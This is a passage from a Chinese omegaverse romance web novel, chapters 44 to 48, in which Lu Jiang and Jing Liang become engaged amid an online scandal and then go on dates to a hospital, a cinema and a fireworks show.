卢绛乖乖跟在他身后往楼梯走,抬头时,一眼便看到了他后颈的伤,咬痕与抓伤交错,结了血痂,看起来怵目惊心。 卢绛强忍着悲愤,冲上前紧抓过他的手腕,景凉心脏漏掉了一拍,“怎,怎么了?” 卢绛想问他怎么不去医院处伤口,为什么要伤害自己?但是他难过得一个字都问不出口。 他怕自己这样问出口,景凉会难堪。 “有点冷……”卢绛不自然的转移了注意力。 景凉反手用指尖轻碰了下他的手,卢绛迟疑了两秒,用力攥紧了他的手。 因他主动牵住了他,景凉嘴角噙着笑意,根本压不下去。 景凉将他带到房间,翻了整个衣柜,没找到适合卢绛穿的尺码,只能拿出一套新的睡袍,让他把身上的湿衣服脱下来拿去洗衣房里烘干。 等景凉忙完回来,都快凌晨了。 卢绛穿着睡袍坐在他房间的沙发里,正在看手机消息。 不是在做梦,卢绛居然真的在他的房间。 感受到身后那道炙热的视线,卢绛下意识回过头去,锁上手机屏放在了茶几上。 “凉哥,你要是还不困,我们聊聊?” “你想聊什么?” 景凉假装淡定从容地走了过去,在他身边坐下。 桌上还放着喝了一半的红酒,一只沾着酒渍的高脚杯。 “要喝点吗?” “不,不了。” 景凉慵懒靠进沙发里,一点点饮啜着杯里的红酒,“聊什么?” “这次的公关危机,你有想到什么对策吗?” “有的。”景凉微笑着将压在抱枕下的两张资料表拿了出来,递给了卢绛。 卢绛还以为是什么公关策略文案,一看居然是两个alpha的资料,而且其中一个还是他的熟人! “你觉得哪个比较适合我?” 卢绛深吸了口气压着胸口汹涌的情绪,“是不是太过草率了?” “没有草率,我挑了好久的。” 卢绛先将霍临的资料揉成紧紧的一团,攥在掌心里,“霍临他有omega了,而且他这人……说实话有点渣渣的,功利心特别重,适合当工作伙伴,绝对不适合当生活伴侣。” 加班到凌晨的霍临猛地打了一个喷嚏,吸了吸鼻子:“怎么感觉凉飕飕的?吃两片感冒药吧!” 景凉吓了一跳:“这个霍临,是你熟人?” 卢绛沉默点头。 “那第二个呢?医学院的研究生,跟我年纪一样大的,应该会有共同话题。” “医学生太忙了吧?” “没关系,我也很忙的。” “长得会不会有点磕碜?” “脑子聪明就行了。” “学医得熬好多年,一开始钱也没很多,又没有时间顾家,根本不合适!” 说着用力揉成团,狠狠把纸团又攥了两把。 “卢少好霸道啊!你把我好不容易收集的资料揉成这样,我还怎么看?” 卢绛气闷的举起手,准备将纸团子投进不远处的垃圾桶里。 景凉故意逗弄,侧身去拦他:“别扔!” 彼此的目光与呼吸刹那交融,突如其来的暧昧让时间仿佛定格在此刻。 景凉身上有别的alpha的气味,这让卢绛非常不爽,他伸手扣过景凉的腰身,将他压向自己。 景凉身体失衡跌进他的怀里,alpha浓郁的信息素瞬间将他包裹其中。 “你的,你的信息素……溢出来了。”景凉身体发软的靠着他,呼吸急促。 卢绛红着脸不但没放开他,还将脸埋在他的脖颈处使劲蹭。 毛茸茸的脑袋,好像一只撒娇的大狗狗。 “别,别蹭!” “帮你除臭。” 景凉心跳不自觉的加速,卢绛的信息素等级很高,不用标记就能覆盖掉别的alpha留在他身上的信息素。 景凉深吸了一口卢绛的信息素,身心舒畅,浑身懒洋洋的,想睡觉。 “你怎么什么也不问我?” “问什么?” “那些照片……你知道那对一个omega意味着什么?” 他的名声全毁了,甚至被所有人贴上的标签,用尽这世上最恶毒的语言羞辱。 “意味着你被人欺负了。” 景凉瞳孔震颤,鼻子一阵泛酸,他将头埋在卢绛胸口,眼角悄悄湿润。 卢绛用力抱着他,眼里满是狠厉,咬牙道:“我会宰了他,你放心。” 景凉哭着笑了:“别去,我有办法对付他的,相信我,别让他们脏了你的手。” 卢绛沉默着没说话,心中已有成算。 “阿绛弟弟,你真的太好了,我不知道要怎么放手,我……我舍不得伤害你,不想把那些手段用在你身上,你懂吗?” “我都已经把你拉进黑名单了,你偏偏自己又找上门来,我要的没你想的那么单纯,如果你给不了我,明天天一亮,就离开吧,谢谢你今天来看我。” 卢绛此刻懊恼悔恨不已,“对不起,都怪我之前太怯懦,不敢直面自己的心,才让你受这些苦,我现在已经想明白了。” “想明白什么了?”景凉仰头注视着他,明知不该有期待,但他还是忍不住想要期待。 “与其你随便找个alpha结婚,不如找本来就有婚约的我,我们不是还没有解除婚约吗?那我们就结婚吧!” 景凉乱了呼吸,声色哽咽:“你说,说跟我,结婚?” “你现在还愿意吗?”卢绛摒住气息,鼓起勇气看着他。 第45章 第45章 我现在满脑子都是黄色废料,…… 一股酸涩上涌, 让景凉红了眼眶,他直直迎上卢绛的视线,没有躲闪,小狗的眼睛很纯净明亮, 看着他的时候无比认真又温存。 “当然, 我非常愿意。” 卢绛狂喜,这些日子积压在心头阴霾一扫而空。 原来迈过鸿沟, 越过险阻去拥抱喜欢的人, 会令人这么轻快愉悦, 心口充盈着幸福。 “卢绛, 我很喜欢你,可是我觉得你没有那么喜欢我。” 卢绛心脏一紧,慌张道:“我喜欢的,我喜欢……” “那你为什么此刻不吻我?”景凉轻咬着下唇, 眨了下因羞耻而泛起氤氲泪光的双眸, 迎着他的目光始终没有躲闪。 “我不想……不想让你觉得我真的是个随便的omega,那些流言蜚语已经够多了, 让我有点在意, 我是不是有点软弱?所以,你来吻我吧, 好吗?” 卢绛一张脸红到了脖梗, 老婆好诱人, 可是他又菜又紧张。 “我……没有经验, 我不会, 感觉,亲亲贴在一起很怪。” 景凉懵了几秒,额头抵在他肩上哭笑不得。 “我还以为帝都浪子卢大少身经百战呢!” 卢绛尴尬笑笑。 “那, ”景凉仰着脸贴向了他,“你要不要试试?浅浅地,试一下。” 景凉的唇看起来软软的,唇色很深,让卢绛想到了饱满可口的樱桃,咬下去甜美多汁。 事实上他也确实张嘴咬了下去,但只是轻轻地咬。 一开始还有点害怕,会反感,会恶心,会想到那些不好的东西…… 但吻上去的时候,他脑子里什么也没想,只剩下景凉所有的甜美与柔软,让他想一直吃,不想放开,从浅尝辄止到快速上瘾。 以前他非常不解,情侣为什么会喜欢接吻呢? 口水那么脏,舌头搅来搅去,太恶心了! 原来完全不是那么回事,和喜欢的人贴贴,是一件让人身心愉悦的事情,像躺在巨大的棉花团里,甜甜的软软的。 清纯的男大学生打开了通往未知世界的开关,像是打开了潘多拉的魔盒,从一汪平静的湖面喷涌出岩浆,热烈得几乎要毁天灭地。 直到擦枪走火濒临失控前,景凉喘息未定的抬手捂住了卢绛的唇,“行了。” “啊……”卢绛还沉浸在其中,双眼迷离,有种突然被叫停的委屈与不满。 “我不是拒绝你,但是我几天没睡了,你会解的吧?” 卢绛猛地清醒,捞住一只抱枕遮在了腿间,窘迫解释着:“我不是……我来这里没想过和你怎么样,你快去睡吧,我想洗澡!” 景凉忍不住笑了声,捏了捏他圆润的耳垂,“好,那我先去床上等你。” 卢绛痛苦‘嗷’了声,原本都忍到快偃旗息鼓,因为这句话小绛绛好像要炸了! 他肯定是故意的! 直到景凉躺上床,卢绛才冲进浴室,将水温调得很低。 自己不得章法的弄了很久才出来,手酸人还很困。 他从浴室出来,关了卧室大灯,动作很轻的摸上了床。 他的床很柔软,枕头和被子除了洗涤剂的香气,还有他信息素的味道。 卢绛将脸埋进枕头,深嗅了一下。 好闻,很开心。 对了,手机还没充电! 卢绛又悄悄爬起床,在沙发茶几上拿到自己的手机,找了下充电座。 在景凉那边的床头柜边。 卢绛轻手轻脚的走了过去,倚着床边坐在地毯上,连上了充电器。 有上百条未读消息,还有几十个申请加好友的。 卢绛懒得会,点开了证券APP,挂了个买入的单。 退出APP后又看了看论坛的话题风向,又搜了搜关于景凉的负面消息。 知讯贴吧目前热点第三,很多知名吧主一直论坛带节奏,想用这个热点圈粉。 这中间有公关的痕迹,只是太废物,而且阻断得太晚,已经形成无法挽回的局面。 卢绛登上他之前在贴吧注册的帐号,重新填写身份证进行大V实名认证。 其实想要解决也很简单,景凉已经做出了最有力的反击办法,如果重新找alpha还需要伪造交往相爱的证明,但是他不需要。 他们的定婚是真的,感情也是真的,要结婚更是真的。 离天亮还有两个小时,等到实名认证过审最早也得上午十点了。 一只温柔的手轻轻落在卢绛头上,揉了揉他的头发。 景凉声音涩哑带着十足的困倦:“你怎么还没睡?” “是不是手机太亮了?抱歉,我忘了调亮度。” 景凉无意瞄了眼他的手机屏幕,也没有遮掩,“你在看我的丑闻?讨论度还挺高。” 卢绛的心被刺痛了下,他锁上了手机屏幕,牵过他的手与他十指紧扣。 “这不是你的错,丑闻也只是丑闻,都不是真的,你别担心,也不要因为这种事情难过,还有我在。” 景凉浅笑,“之前还在意来的,因为我在乎你的看法,现在看来,完全是我想多了,阿绛弟弟虽然还是个纯洁的男大,但已经是个很有担当又有魅力的成熟alpha了。” 是他的,独一无二的alpha。 卢绛被他一夸,脸又红了,骂他可以无动于衷,甚至还有点想笑,但每次听别人夸他就觉得羞耻。 老婆半睡迷糊的样子也好好看,想贴贴。 卢绛顺势坐到床沿,俯身靠近了景凉。 “你想干嘛?”景凉推搡着他,欲拒还迎,明知故问,谁会不喜欢逗小狗? “我现在已经不纯洁了。” 景凉反被他逗笑:“哪儿不纯洁了?” “我现在满脑子都是黄色废料,我想,想亲亲你,可以吗?” “你想怎么亲亲我?” “就,浅浅的亲一下。” 彼此的视线缠绕交织,喷出的气息灼热而急促。 卢绛头脑发热,完全控制不住自己,动情的吻上他的双唇。 这一次卢绛在感觉刚来之前,就自己当机立断的分开了,嘴角噙着笑,翻滚到了自己的那一边床位,然后钻进了被子里。 “要不要把灯都关了?”他知道景凉睡觉不喜欢开灯。 “嗯。” 卢绛将床头的小灯也一并关了,卧室顿时陷入一片漆黑。 一阵寂静后,景凉翻了个身靠进了卢绛的怀里:“天快亮了,可我好像有点兴奋,睡不着。” 从泥潭一下子飞到了云端,从地狱来到了天堂。 仅仅只是这不到四个小时之内发生的。 “我也是,我长这么大,没有像现在这样开心充实过。” “以前你过得不开心吗?” “嗯……” 景凉闭了闭酸胀的眼睛,“我想睡了,你哄哄我?” “怎么哄?”他没有哄过别人睡觉。 “你唱首歌。” 卢绛从来不在人前显露,但是景凉想听,他就克服那几分羞涩,低声哼唱着。 You know I wanna be your destiny So please just say hello This love is haunting me And I just need to know And all the memories Are keeping me awake at night I’m still not over you There’s nothing I could do…… 俩人相拥而眠,卢绛坚持到清醒的临界点,最终沉睡过去。 闹钟忘了调,这一觉卢绛睡到下午两点半醒来,景凉已经不在身边了。 卢绛爬到另一侧床位,将手机捞了过来,揉了下还酸涩的眼睛,迷迷糊糊的打开了知讯贴吧,实名认证加V认证通过了。 还是有些困,他丢开手机,躺在了景凉的床位,用被子蒙着头一边迷糊睡着回笼觉,一边想着这个声明要怎么写。 然而卢绛还不知道,因为昨晚在群里的那一出,还有这个号在知讯网唯一的一条评论,现在已经被网友炒出了新一轮热度。 景氏今日的股票一开盘就直线拉升,涨停了。 董事局的人一个个一脸懵逼,别说他们不知道怎么回事,就连景凉都后知后觉。 昨晚帝都名媛一群热闹非凡。 起因是宋希濂贴了几张他的定婚照上去。 群里全是一水的夸好美,好羡慕的话。 宋希濂这个显眼包又开始嘚瑟。 【宋:哎呀,真的好难选,我那天到底是要穿西装还是穿婚纱呢?我的alpha说都好看呢!】 【群员:你随便穿,真的都很好看。】 【宋:那好吧,选择困难症,头疼。】 此时群里有人把景凉的那几张照片贴了上来。 【群员:谁还没看过这个?丢人现眼,如果我是他,还不如死了算了,哈哈……】 【宋:哈,大家别这么说,已经够难堪了,人还在群里呢!】 【群员:濂濂你真的太善良了,之前姓景的在群里那样说你,你忘了吗?】 【宋:我没忘,正因为我跟他不一样,我才不要做跟他一样尖酸刻薄的人!】 【群员:濂濂这是因祸得福,幸好没跟那个姓卢的垃圾在一起,而是找到了真爱。】 【群员:@景凉出来走两步呗。】 【群员:他应该没脸出来吧?估计正躲在被子里哭呢!】 这个时间景凉确实有在哭,不过是靠在卢绛怀里哭的。 【群员:之前还跟濂濂抢男人,真不要脸,卢大少就算是最低等信息素,也看不上水性扬花的景凉吧?】 群里围着这个话题,讨论了近一个多小时,气氛很嗨。 直到有人把alpha群里的截图贴了上来。 【群员:好像不是你们说的这样哦,卢少说景凉是他老婆欸!再说,他们一年半前就已经定婚了,也不存在景凉抢alpha吧?】 【群员:wokao,卢少这什么霸总言论啊?】 群里炸了。 【群员:问题是真的有镇住场子,说他是帝都第一权少也不为过吧?】 【群员:我tm震惊了,我刚才听我男朋友说,他在二十来个群复制粘贴了景凉是他老婆,谁传他老婆照片谁死,又中二又霸道!】 【群员:谁说卢少渣的?我都有点羡慕了,要是有个alpha能在这个时候挺身出来替我镇场子,别说嫁了,命给他都行!】 第46章 第46章 不要叫我宝贝,叫老公…… 【群员:卢景有点好嗑!比看小说刺激。敲锣打鼓求后续!】 【群员:@宋 你之前不是说在跟卢少相亲吗?你到底是看不上卢少哪里啊?】 其实群里还有很多潜水党早看不惯宋希濂臭显摆, 也不是真的要替景凉说话,而是逮着了机会踩宋希濂一脚。 【群员:@宋 是嫌卢少长得太帅?还是嫌他太有钱?又或者是嫌他护短?】 【群员:哈哈哈哈cao,你们别这样啊,我要笑死在群里!】 宋希濂快要气死了, 似乎想要求证什么, 大晚上的给黎湛打了一个电话过去。 那端等了好久才接。 “湛哥,你表弟在alpha群里是不是抽风啊?他怎么说景凉是他老婆?难道他眼睛瞎了吗?看不到那些照片?那对一个omega来说有多丢人!” “正好, 我有事要跟你说。” “什么?” “我们的婚约解除吧。” “你说什么?你说解除婚约就解除婚约, 把我的脸往哪儿搁?别人会怎么笑我?!” “你们宋家做的事情你不清楚吗?还想拉我们黎家下水?就这样吧, 以后别再联系了。” 挂完电话, 黎湛赶紧将宋希濂拉进了黑名单。 虽然现在宋家表面还是一片风平浪静,但是暗中已风起云涌,要不是有黎花传信,搞不好黎家还要受牵连。 正午处完重要工作邮件的景凉, 放松的躺进沙发椅里, 好奇点开群里看了眼。 将聊天记录看完已经过去半小时。 他噙着玩味的笑悠然的输入了一行文字。 【景:@全体成员今晚时代广场九点半看烟花,不见不散。】 景凉深吸了口气, 想到家里还有人, 嘴角的笑根本压不下去。 他匆匆收拾了桌上的文件,归心似箭。 卢绛睡了个回笼觉醒来, 看到了守在床边的景凉。 “你回来了?”卢绛刚睡醒还带着鼻音。 “起来吃点东西?”景凉的声音很温柔, 看着他的那双眼, 像是三月化开的一汪春水。 “几点了?”卢绛赶紧从床上坐起, 第一次知道自己这么能睡。 “快下午三点了。” 看景凉穿着一身正装, 卢绛顿时有些羞愧:“你刚从公司回来?” “处了些事情,下午没什么事就回来了。” “我先去浴室洗漱。” “我让阿姨给你准备些吃的。” “好,谢谢。” 景凉失笑:“还跟我这么客气?” 卢绛俊脸微红:“嗯……” 景凉伸手将他凌乱的头发揉得更乱, 心满意足的转身离开了卧室。 卢绛起身去浴室洗漱,盥洗台上已经准备好了新的洗漱用品,而且和景凉还是情侣款的。 动作好快!在他睡觉的时间不仅给他准备了这些,还去了公司处工作,他几点起来的? 老婆真的好厉害! 卢绛心动不已,自己要更努力才行! 刚从浴室出来,只见景凉拿了一套新衣上来递给了他。 “我在公司挑选了去年几个旧款,有你的尺码,先将就着穿?” “挺好的,不算什么将就。”他穿了十几年的地摊货,只要穿着舒适,几乎不挑。 卢绛拿了衣服去衣帽间换下,景凉的眼光向来很好,不过卢绛没什么艺术时尚细胞,不懂得怎么打扮自己。 出来之后,景凉上前帮他了一下,立即就有了范儿,“很帅,你穿什么都好看。” 景凉看着他时连眼睛都带着笑意,说话总是温柔的,“去吃饭吧。” 卢绛心里像是有只猫爪子在挠,见他转身,猛地拉过他的手腕,将他往怀里带。 景凉笑意更深,“怎么了?” “抱抱你。”卢绛弯下腰,将下巴搁在景凉颈窝处,深嗅了下,好闻。 景凉伸出双手回抱住他,带笑的语气调侃着:“我的小alpha成了黏人精了,嗯?” “你讨厌吗?” “只要是你,我就不讨厌。” “我以前不这样的,但是现在看到你,就想抱抱你,还有……亲你。” “还想亲我呀?” “刷牙了,可以吗?”醒来时就想亲来着,但是没刷牙。 “你来。” 卢绛疯狂心动,低头注视着景凉,他的唇很柔软,仿佛还留着昨晚的触感,想把他弄得更鲜艳饱满…… 他气息变得粗重,吮上景凉的唇,算不得很温柔,相比昨晚的缱绻,今日的吻多了几分成年人的欲,显得急促而莽撞,却又热烈非常。 明明不是什么很高明的吻技,景凉却不由沉溺其中,任他予取予求。 “吃饭……先下去吃饭吧。”景凉气息凌乱,脸色绯红的退开些许,再这么亲下去,得失控了。 卢绛紧拥着他,闭眼喘息了会儿,才慢慢平静下来。 “我还有五天……” “啊?” 景凉连脖梗一并染上绯色,“我还有五天,就到了发情期。” “我会好好准备的。”卢绛红着脸语气很严肃。 景凉被他逗笑:“不需要准备什么,肚子还不饿吗?” “饿了。”卢绛牵起他的手走出了卧室。 阿姨做了蛋包饭,味道很好,卢绛大口吃饭的样子让人看起来很有食欲。 景凉陪在他身边刷着网上关于他们的话题,有些想笑。 #怒发二十群,卢公子实力护妻# #景氏今日股票涨停# #宋成章挪用三亿公款被捕# #卢绛实名认证知讯网# 景凉点进了实名认证的这个贴子,讨论度居高不下。 【1L:截图.jpg 帝都卢大少没认证前唯一一条评论就是替景凉说话的,相信老逛贴吧的都有印象吧?当时的高赞。】 【2L:所以卢少昨晚怒发二十群护老婆的中二发疯,不是在开玩笑?】 【3L:老天,低调这么多年,唯一一次发疯出圈,居然是为了老婆!我好爱!】 【4L:他低调个鬼!以前那些混帐事只是被卢家花钱给压了而己。】 【5L:我深深怀疑这人他有人格分裂!谁还记得当初他跟景凉定婚传得沸沸扬扬的,他为了反抗还跳楼紫砂呢!不可能这么快就爱上了吧?】 【6L:怎么不可能啊?你们只是在网上骂景凉,一副高高在上瞧不上,搁现实中,人家景总要颜有颜要钱有钱,名校毕业工作能力强,审美眼光好,他要对你示点好,只怕你比谁都舔吧?】 【7L:楼上姐妹这么一说,又让我想到锁店你配几把这个梗了,我要笑死。】 【8L:谁买进景氏股票了?哭死啊!谁能想到上午十点直接拉涨停!景爸爸再给我一个机会吧!让我也赚点零花钱。】 …… 景凉凑到卢绛面前,低声问他:“你买景氏股票了没有?” “嗯,买了。” “什么时候买的?” “早上,我挂的单,五万手,买在最低点。” “卢少你厉害了!”恐慌之下砸盘抛售的股票,卢绛捡了三分之一多,一部分是听到风声挂单买进,余下的是运营部回购护盘的。 “送给你当聘礼,会不会不够?” 卢绛绝对是认真的,严肃的表情,一点也不像在开玩笑! 景凉捧过他的脸,忍不住亲了他一下唇:“你怎么那么可爱?” 卢绛欲言又止,抽过纸巾擦了擦景凉的唇:“都是油,脏。” “不脏。”景凉真是越看越爱,“晚上我们出去吃饭,放烟花给你看。” “好,听你安排。”卢绛忍不住期待。 第一次谈恋爱,兴奋又有点紧张,好想时刻腻歪在一起,两个人什么都不做也行。 景凉在网上联系了商家定了一百多万的礼花,约在了晚上九点半时代广场。 卢绛吃好后收了盘子,顺便用漱口水漱了下口。 “我吃好了,现在要出门吗?” “我们要不要去看电影?” 卢绛眼里闪烁着兴奋的光芒,“好啊,我上网买晚上八点的票。” “为什么是买八点的?” 卢绛皱着眉头很严肃道:“昨天太晚也没来得及,你脖子后面的伤,要去医院处,要是发炎化脓,是会留疤的。” 景凉不自在的抬手用指尖轻碰了下自己后颈,不过为了遮掩,他穿了高领毛衣。 “其实,没什么大问题。” “不行!” “卢少你好霸道啊!” “能不能对自己好一点?去医院这个事不要讨价还价了,我真的会生气。” “那你生气一个给我看看。”景凉火上添油,他还没见过卢绛发火的样子呢! 看景凉一副不当回事,还笑着挑衅他的样子,卢绛又生气又心疼他,不由自主的红了眼睛。 景凉吓得赶紧哄着他:“哎呀,我跟你开玩笑的,现在就去医院,你别哭哦。” “我没有!” “真的?” “我不会哭的。” “嗯嗯……” 景凉一脸不信他还敷衍的样子,卢绛莫名委屈。 “你不信算了,把车钥匙给我。”他低头闷闷不乐的催促着。 景凉忍不住捧过他的脸,亲了他一下:“好啦宝贝,我跟你道歉,我一定重视,我们现在就去医院,车钥匙给你。” 卢绛接过车钥匙,一脸别扭:“不要叫我宝贝。” “那叫你什么?” “叫老公。”卢绛俊脸通红,但表情看起来很执著倔犟。 “好的,老公。”景凉伸手抱住他,没皮没脸,坦坦荡荡,“我们走吧老公,嗯,老公?” 卢绛的羞耻感已经到达了极限,他受不了的捂住了景凉的嘴:“可,可以了!叫两声就可以了。” “那怎么行?得叫一辈子呢!老公~”景凉心情愉悦,逗小朋友太有意思了! 卢绛两只耳朵红透,径自往外走。 第47章 第47章 老婆老婆老婆老婆…… “老公, 你怎么不等等人家!”景凉笑得腿软,追上的时候,卢绛已经坐在驾驶座里等了好一会儿。 景凉见好就收,没再逗他, 怕真把他惹哭了不好收场。 其实他真的好奇卢绛哭起来会是什么样子, 他还没看过。 卢绛陪他去医院处了伤口,还好天气冷, 发炎的症状不是很严重。 景凉又顺便测了下信息素周期情况, 检测出来的数据比之前的好很多, 现在基本已经稳定了, 得益于卢绛高等素信息,要比吃药的效果好太多。 离开医院时正好饭点时间。 景凉微笑着打量了卢绛一眼,“还生我的气呢?” “没有。”卢绛认真的开着车,目不斜视。只要装得够严肃, 景凉就不好取笑他。 “那我们晚上吃什么呢?要不要去吃……火锅?” “火锅。” 两人异口同声, 达成了共识。 看卢绛终于笑了,景凉也跟着松了口气, 小朋友脸皮很薄呢! 涮完火锅, 在夜市逛了一个小时,散步走到了电影院附近。 快到点两人才乘电梯进去。 “要可乐和爆米花吗?”景凉一回头, 嘴唇碰到了卢绛的下巴, 他愣了两秒, 谁知卢绛顺势低头吻了上来。 这并不像卢绛的性格会做的事, 景凉震惊了。 俩人因出众的外貌已经引来不少注视, 应该有人已经认出了他们的身份,不过没人敢上前打招呼。 “要爆米花和可乐。”卢绛亲完才害羞,越来越多人在看他们, 还有人拿手机在拍。 他往景凉身边躲了躲,小声道:“凉哥,有人在拍我们。” “别怕,要不你再往我身后躲躲?”景凉憋着笑,这么个大个子猫着腰想藏起来的样子,又可爱又好笑又让人心疼。 卢绛抿着唇,抓着景凉的外套,不想做这么丢人的事情,最终只能无力嘟哝着抱怨了句:“又不是明星,有什么好拍的?” “他们现在对你可比对小明星感兴趣多了。”卢绛这个身份本来话题度就高,以前也经常被媒体和别人拍到发网上,不过都被卢家紧急公关了,根本等不到事件发酵。 经过昨晚的事这些人就更加感兴趣,更好奇了。 这次的事件卢家态度也很奇怪,没有公关也没有任何干涉。 还好电影很快就开始了,他们拿着吃的随人群走进放映室,找到自己的位置坐下。 卢绛高兴地说了句:“凉哥,这还是我第一次来电影院看电影!” 景凉惊诧了会儿,若有所思点头,他家里应该有最豪华的私人影院吧,确实没必要跟普通人挤在一起看。 卢绛现在觉得自己真的很幸福,很开心,这大概就是活着的意义吧! 这一切都美好得跟做梦似的,他好怕会醒过来,然后美梦破碎,原来的世界才是醒着的真实。 突如其来的感伤让卢绛下意识抓住了景凉的手,景凉一下子感觉到了他情绪的起伏。 “怎么了?” “凉哥,这会不会是一场梦?其实我们活在梦里,如果有一天我消失了,这个世界和你会不会也一起消失啊?” 景凉会不会只是顺应他心中的渴望,而幻想出来的人呢? 景凉笑着弹了下他的额头,“电影还没开始呢,你就提前发表感想了?” 卢绛看着他笑笑,眼神却藏不住的伤感,他现在好不安,好害怕。 景凉的心情莫名沉重了几分,他反扣过卢绛的手,“我不会消失,你也不会,我们都是真实存的,你看,我们紧扣的手有多用力?怎么可能会是假的?” “你保证!” “嗯,我保证,我不会消失,我永远都不会离开你。” 那颗不安定的心,在景凉铿锵有力的保证之下,渐渐安稳了下来。 “放开,手都要被你攥麻了。”景凉晃了晃他紧扣的手。 “不放,我轻点抓着你。” “好好好,”景凉语气放纵又宠溺,“我看到半途睡着了怎么办?” “那你睡,我会认真看的,然后跟你说结局。” 景凉给他打了一个预防针,电影十分钟后,果然睡了过去。 能坚持十分钟,已经很不容易了。 卢绛伸手扶着他靠在了自己的肩上,好让他睡得舒服点。 黑眼圈很严重,这几天可能也就今天凌晨睡了四五个小时又爬起来工作。 电影一下子变得寡淡无味,卢绛的注意力全被景凉吸引,总忍不住低头用鼻尖蹭蹭他的发顶,亲亲他的脸蛋,把玩他的手。 直到电影结束,听到周围的喧闹,景凉睁开了眼,与小狗温存湿润的眼睛对上。 “结束了?” “嗯。” 景凉做了一个拉伸动作,虽然不想承认,但是在电影院睡得好舒服。 “结局怎么样了?” 两人依旧十指紧扣往放映室外走。 “嗯……”卢绛认真的编着,“结局挺好的,女主和男主过上了幸福的生活,还生了一个可爱的孩子。” “是吗?那我回去再看一遍。” 走廊外几个女生在讨论着剧情,哭得稀里哗啦。 “呜……早知道结局是这样,就不看了,哭死我。” “女主死得太惨了,为了那个渣男不值得。” “男主也不算渣吧?他也有不得己的苦衷。” …… 尴尬。 景凉笑道:“我们跟他们看的肯定不是同一个电影。” 卢绛凑耳轻轻说了句:“你比电影好看。” 景凉只觉脸颊发烫,“所以你净看我去了,根本没看电影?你还骗我结局挺好?” “对不起,我错了,老婆~” 景凉心脏漏掉了一拍,脸更烫了,“你是不是准备报复我?” “没有啊老婆。” 这一声声老婆叫到了景凉的心里,他才没小朋友那么脸皮薄,叫几声就受不了。 “你继续叫嘛,怎么不叫了?” “老婆老婆老婆老婆……” “你复读机吗?幼稚鬼!” 两人如约赶去了时代广场,准备的烟火正好开始了,景凉拿出手机拍了好几段短视频,发到了名媛帝都一群。 【景凉:还想@某个人,结果退群啦?哈哈,一起来看这场盛世烟花吧!】 【群员:在现场。】 【群员:在现场+1】 …… 【群员:我们有十几个人在北岸会所顶层包间唱K,都是omega,@景要一起来吗?】 景凉拉过卢绛,镜头对准后,不同角度拍了好几张,“好难看啊拍出来!” 卢绛挠了下眉心,“要不,我来拍?” “你来。” 卢绛拿过景凉的手机,快速调好数值,然后效准了一下镜头,找角度连续拍了几张。 “可以了,你刷选一下。” “这么厉害?感觉跟我拍出来的完全不一样!” “嗯哼~”小狗骄傲。 景凉从里面选了一张最好看的合照,“你介意我发群里吗?要是你不喜欢,我就不发。” 虽然很想炫耀一下。 “随你高兴,我无所谓。”卢绛拿出自己的手机,拍着眼前的烟花和夜景。 景凉将最好看的一张照片发到了群里。 【景凉:不了,你们好好玩吧,我得陪我的alpha呢!比心.jpg】 关掉群消息后,景凉凑上前看着卢绛拿手机拍了很多不错的照片,跟一般人拍出来的就是不太一样,很有意境,角度选的也很好。 “好漂亮啊,发几张给我。” “好,我回去发你。”卢绛突然想起来,景凉把他拉黑了。 “还拍了什么?” “各种小动物和风景。” 卢绛将手机递给景凉,随他翻看。 “这么放心给我看,不怕我知道你的小秘密?” “那你先发现我的小秘密再告诉我,我一个人的小秘密,就变成了我们两的小秘密。” 景凉失笑,很自然的往卢绛怀里靠去,卢绛从身后环住他的腰身,时不时地亲吻着他的发顶,香香的。 “真的都是小动物和风景,不喜欢拍人吗?” “不喜欢,不过我以后可以拍你。老婆……” 这声老婆把景凉都叫酥了,“嗯?” “你可不可以把我从黑名单里放出来?” “谁叫你晾我一晚上!我可是很记仇的。” “对不起。” “看在你这么诚恳道歉的份儿上,就原谅你了。” “谢谢老婆。” 景凉将手机还给了他,又当着他的面把他从黑名单里放了出来。 烟花雨落幕,广场上的人们渐渐散去。 卢绛牵着他的手往回走,似是想到什么,有些失落,“凉哥,我回来没有来得及请假,明天还是得回学校一趟。” “那你不是无故旷课?你的好学生名头就此败坏咯!” “没关系,我去念书不是为了好学生的名头才去的,我是想要认真的学一些对自己有用的东西,因为无知是件很可怕的事情。” 他不想大家坐在一起时,聊的话题他听不懂,知识贫瘠会错过很多有趣的人和事。 “我会提前回来。”卢绛保证道。 “嗯,我知道了。” 卢绛暗叹了口气,原本考到南方城市是想远离现在的生活,但是大学还有三年半啊…… 要不,大二申请转校试试? 他当时的分数线是完全可以上帝都金融学院的,只能想办法努力写两篇期刊论文,再加上他成绩也很不错,又有帝都户籍的优势,应该问题不大。 打定主意后卢绛的心情一下好转了很多,打算转校成功后,再跟景凉说。 突然卢绛的来电铃声响了。 “凉哥,我接个电话,是妈妈打的。” “那你快接吧。”景凉心里有点过意不去,他直接从学校赶回来,到现在还没有来得及回去,希望不是责备他的话。 黎花在电话那端语气不似平时的温柔,甚至有些冷硬。 “卢绛,现在你给我马上回来一趟。” “好,我马上回来。” 第48章 第48章 alpha的信息素疯狂涌出…… 电话匆促短暂, 挂断后,卢绛满是无奈:“凉哥,我现在要回家一趟。” 景凉拍拍他的手臂,安慰道:“这回真是我不懂事了, 早该让你回家去的, 这么大的事,是该给家人一个交待。” “那你……” “我当然会自己回家啦!怎么, 舍不得我?” “嗯。” “现在太晚了, 我不方便陪你一起回去, 改天大家都方便的时候, 我再登门拜访。” 此时家里的司机给他发了一个定位请求。 “凉哥,你自己先回家吧,回去早点休息,有什么情况我会告诉你的。” 景凉深深看了他一眼, 虽心中满是不舍、不安, 但他是成熟的成年人了,得有分寸。 “好, 我走了。” 卢绛心中有些不好的预感, 以至于并没有察觉到景凉临前的那几分不安与不舍。 司机很快到了,下车微笑着打了一声招呼, 面生, 卢绛没什么表情, 只是淡淡点了下头乖巧地坐进了车后座。 四十分钟后, 车子在卢家院子里停下。 卢绛走进大厅, 只见卢佑铭和几个公司高层在闲聊着什么,应该是已经说完了。 黎花独自坐在一旁,优雅沉默的喝着茶。 见卢绛回来, 几个高层的表情高度统一,眼神带着审视与几分掩不住的嘲弄,却笑得很谄媚。 “既然卢少回来了,那董事长,我们就先走了。” 经过卢绛身边时,卢绛轻轻鞠了下躬,突如其来的周道礼数让几个公司高层难免惊讶,毕竟卢大少放荡不羁的名声在外。 此时大厅只剩下卢家人和值夜班的几个家政。 黎花声音隐约透着几分愤怒:“你还知道要回来?” 卢绛自知礼亏,抿着唇十指相扣的低头坐在了一旁沙发。 卢佑铭打量了他一眼,看出了他身上穿的是景氏旗下的牌子。 